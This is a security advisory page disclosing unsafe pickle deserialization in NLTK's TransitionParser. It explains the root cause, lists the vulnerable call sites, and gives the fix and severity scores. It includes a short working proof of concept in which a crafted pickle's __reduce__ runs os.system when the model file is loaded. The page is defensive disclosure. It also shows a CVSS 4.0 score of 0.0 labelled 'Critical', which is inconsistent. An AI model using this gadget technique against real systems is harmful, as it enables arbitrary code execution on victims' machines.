Skip to content

GHSA-rhp5-r9x4-f5g2 CVE-2026-78683 PYSEC-2026-3734

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-502 Deserialization of Untrusted Data
Fix
3.10.0
Upgrade nltk to this version or later

Description

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design:

  • NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
  • The restricted=True parameter exists in the API but is never used by any production code path
  • All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path:

  1. Attacker places a malicious pickle file at a known or attacker-controlled location
  2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
  3. pickle_load() deserializes the file with restricted=False (default)
  4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment

  • NLTK version: 3.8.1+ (all versions with transitionparser.py)
  • Python 3.6+
  • No special dependencies required

Reproduction

  1. Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.

  2. Call TransitionParser().parse([], '/path/to/malicious_model.pkl').

  3. The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.

  4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File Line Before After
nltk/parse/transitionparser.py 557 pickle_load(f) pickle_load(f, restricted=True)
nltk/parse/chartparser_app.py 816 pickle_load(model_data_file) pickle_load(model_data_file, restricted=True)
nltk/parse/chartparser_app.py 2273 pickle_load(file) pickle_load(file, restricted=True)
nltk/parse/chartparser_app.py 2311 pickle_load(fp) pickle_load(fp, restricted=True)

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.0
3.10.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.0

pip
pip install --upgrade "nltk>=3.10.0"
poetry
poetry add "nltk>=3.10.0"
uv
uv add "nltk>=3.10.0"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-502: Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

How to prevent it
  • Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
  • Implementation: Explicitly define a final object() to prevent deserialization.
  • Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
  • Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
  • Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor